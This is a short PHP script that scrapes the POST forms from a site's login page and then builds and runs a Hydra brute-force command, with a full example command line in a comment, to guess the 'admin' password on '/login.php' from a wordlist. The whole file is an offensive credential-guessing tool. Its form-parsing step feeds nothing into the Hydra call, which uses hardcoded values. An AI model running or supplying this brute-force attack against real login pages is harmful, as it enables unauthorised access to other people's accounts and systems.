<?php

$username = "admin";
$wordlist = "/path/to/wordlist.txt";

$domain = "example.com";
$method = "http-post-form";
$args = "/login.php:uname=$username&pass=^PASS^:S=302";
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $domain);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
curl_close($ch);
 
$dom = new DOMDocument();
@$dom->loadHTML($html);
 
$forms = $dom->getElementsByTagName("form");

foreach ($forms as $form) {
    #echo $form->nodeValue, PHP_EOL;
    if (strtolower($form->getAttribute("method")) === "post") {
 
        $inputs = $form->getElementsByTagName("input");

        $post_data = array();
        foreach ($inputs as $input) {
            $name = $input->getAttribute("name");
            $value = $input->getAttribute("value");
            echo "*".$name." -> ".$value."*", PHP_EOL;
            if (!empty($name)) {
                $post_data[$name] = $value;
            }
        }

        echo "Final: Name -> ".$name."; Value -> ".$value, PHP_EOL;
 
        # -L references userlist. Should be "-l" in that case
        # Full example: hydra -l admin -P wordlist.txt example.com http-post-form "/login.php:uname=admin&pass=^PASS^:S=302" 
        $command = "hydra -l $username -P $wordlist $domain $method \"$args\"";
        $output = shell_exec($command);
 
        echo $output, PHP_EOL;
        break;
    }
}
?>